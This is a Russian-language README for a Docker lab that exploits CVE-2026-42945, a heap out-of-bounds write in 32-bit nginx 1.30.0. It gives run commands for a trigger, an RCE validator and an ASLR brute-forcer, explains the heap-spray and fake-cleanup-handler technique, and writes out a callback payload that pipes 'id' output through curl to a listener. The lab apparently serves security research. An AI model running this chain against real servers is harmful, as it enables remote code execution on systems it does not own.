
CVE-2026-42945 nginx 32-битная лаборатория эксплойтов с включённым ASLR
Этот репозиторий представляет собой воспроизводимую Docker-лабораторию для изучения CVE-2026-42945 в nginx 1.30.0. Он содержит уязвимую 32-битную цель, триггер примитива, валидатор RCE с известным адресом, работающий при поддержке лаборатории, и драйвер перебора без интроспекции.
Граница доказательства важна:
exploit/trigger_oob.py демонстрирует примитив OOB-записи в куче.exploit/lab_known_address.py доказывает работу механизма RCE в Docker, но он опирается на лабораторную поддержку, так как читает /proc/<pid>/maps через docker exec.exploit/remote_bruteforce.py не использует SSH, Docker, /proc, ptrace или известные адреса. Он перебирает SAFE-кандидаты страниц кучи и страниц libc и считает исходящий колбэк единственным сигналом успеха.Путь удалённого перебора по-прежнему зависит от текущей ASLR-раскладки мастер-процесса nginx. Если адрес спрея не представим в требуемом URI-безопасном байтовом алфавите, полный проход завершится неудачей, пока мастер-процесс nginx не будет перезапущен или перезагружен и ASLR не будет пересоздан. Как и валидатор с известным адресом, полный путь RCE следует запускать на нативном x86 Linux Docker-хосте, а не на цели Docker Desktop с эмуляцией QEMU.
/proc/<pid>/maps отображает реальный 32-битный адресный расклад рабочего процесса nginx. Docker Desktop на не-x86 хостах может запускать цель под qemu-i386; этого достаточно для проверки OOB-краша, но недостаточно для расчётов RCE с известным адресом.Соберите и запустите уязвимую 32-битную nginx-лабораторию:
docker compose up -d --build
curl http://127.0.0.1:19331/
Запустите контролируемую OOB-запись:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
Запустите детерминированный RCE-валидатор, работающий только в Docker:
python3 exploit/lab_known_address.py --restart-until-safe
Запустите драйвер перебора без интроспекции:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal используется в качестве хоста для колбэка, чтобы команда, внедрённая в рабочий процесс nginx, могла отправить вывод id обратно на слушатель, запущенный скриптом эксплойта. Compose-файл сопоставляет это имя для Linux Docker-движков.

Compose-цель собирает nginx 1.30.0 как 32-битный бинарник в стиле release и запускает его на 127.0.0.1:19331. Обычный GET / возвращает ok, что подтверждает доступность цели до начала эксплуатации.

Триггер отправляет захваченный сегмент URI, состоящий из байтов +, через уязвимый путь rewrite вместе с set $myvar $1. Символ + экранируется NGX_ESCAPE_ARGS, поэтому проход копирования записывает три байта на каждый однобайтовый вход. Скрипт выводит ожидаемый размер переполнения перед отправкой запроса.

Валидатор с известным адресом намеренно использует вспомогательные данные. Он считывает актуальные отображения кучи рабочего процесса и libc из Docker-контейнера, вычисляет адрес поддельного обработчика cleanup, отправляет ту же эксплойт-последовательность на сетевом уровне и ожидает колбэк. Вывод uid=65534(nobody) — это рабочий процесс nginx, выполняющий id. Этот скриншот сделан при нативном запуске на x86 Docker; на не-x86 Docker Desktop скрипт может остановиться с требованием нативного хоста qemu-i386.

Скрипт удалённого перебора убирает чтение адресов, доступное только в лабораторных условиях. Он перечисляет SAFE-кандидаты страниц кучи и страниц libc и использует только колбэк как оракул успеха. Исчерпание прохода без колбэка не опровергает примитив; обычно это означает, что текущий расклад мастер-процесса nginx неблагоприятен для данного алфавита полезной нагрузки, либо для пересоздания ASLR требуется перезапуск/перезагрузка мастера.
Эксплойт использует три одновременные роли запросов:
/spray удерживает выделенное тело запроса в памяти и размещает поддельную запись ngx_pool_cleanup_t и команду колбэка в куче рабочего процесса nginx./api/<payload> достигает уязвимого rewrite-скрипта и задерживает финальный завершитель запроса, пока запрос-жертва не окажется на месте./ создаёт смежный пул запросов, на указатель cleanup которого нацелена контролируемая OOB-запись.Когда повреждённый пул запросов уничтожается, nginx переходит по перезаписанному указателю cleanup. В лабораторном пути RCE поддельный обработчик cleanup указывает на system(), а его указатель данных указывает на:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
Слушатель эксплойта считает этот POST единственным сигналом успеха RCE.
docker compose down
Эта лаборатория предназначена для авторизованной проверки безопасности и обучения. Держите её изолированной, не открывайте порт лаборатории для ненадёжных сетей и не запускайте эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.